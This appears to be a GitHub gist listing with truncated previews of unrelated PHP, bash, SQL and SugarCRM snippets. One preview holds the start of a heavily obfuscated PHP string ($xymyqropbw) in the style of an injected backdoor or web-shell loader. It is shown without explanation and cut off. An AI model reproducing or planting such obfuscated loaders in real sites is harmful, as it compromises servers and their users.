This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Return the file name from a provided $url | |
* | |
* URL structure should be absolute, e.g. | |
* http://site.example.com/path/file_name_to_find.ext | |
* | |
* @param $url string | |
* @return string | |
*/ | |
function grab_filename_from_url($url){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$colors = array('blue','green','grey','navy','orange','purple','red','yellow'); | |
foreach($colors as $color){ | |
echo $color; | |
$text = "[foodbank {$color} blank]"; | |
$root_file = $color.'_Marker.png'; | |
for($i=00;$i<100;$i++){ | |
echo $i; | |
$num = strval($i); | |
if(strlen($num) == 1){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$xymyqropbw = '7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%%x7825)sf%x5c%x7878pmpusut)tpqsc%x78223}!+!<+{e%x5c%x7825+x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x78x5c%x7824gvodujpo!%x5c%x7824-%x5fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%epc}A;~!}%x5c%x787f;!|!}{;)gj}%x5c%x7825-qp%x5c%x7825)54l}%x5c%x78x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#Ec%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x782f#00#W~!Ydrr)%x5y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c-#1]#-bubE{h%x5c%x7825)tpqsut>%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5cosvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277x7825:<#64y]552]e7y]gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-u |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for f in *.csv | |
do | |
cat $f >> wrap.csv | |
done | |
echo 'done' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
select date_sub('2014-01-22', interval dayofweek('2014-01-22')-1 day) as week_start_sunday; | |
select date_sub('2014-01-22', interval dayofweek('2014-01-22')-2 day) as week_start_monday; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// modules/PSI_Payments/metadata/subpanels/past.php | |
$module_name='PSI_Payments'; | |
$subpanel_layout = array ( | |
'top_buttons' => | |
array ( | |
0 => | |
array ( | |
'widget_class' => 'SubPanelTopCreateButton', | |
), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- where syntax to help count up records (e.g. invoices) from last year to date | |
and date_field > concat(cast(extract(year from subdate(now(),365)) as char),'-01-01') | |
and date_field < subdate(now(),365) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function post_install(){ | |
// define our new button that will copy into detailviewdefs.php | |
$button = array( | |
'customCode' => '<input type=\'button\' title=\'Create Payments\' onclick=\'this.form.action.value=\\\'CreatePayments\\\';\' />', | |
'sugar_html' => array( | |
'type' => 'submit', | |
'value' => 'Create Payments', | |
'htmlOptions' => array( | |
'class' => 'button', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
string(142) "No Returns Available | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head id="Head1"><title> | |
API | |
</title></head> | |
<body> | |
</body> | |
</html>" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
delete from accounts; | |
delete from accounts_audit; | |
delete from accounts_bugs; | |
delete from accounts_cases; | |
delete from accounts_contacts; | |
delete from accounts_cstm; | |
delete from accounts_opportunities; | |
delete from accounts_users_1_c; | |
-- delete from acl_actions; | |
-- delete from acl_fields; |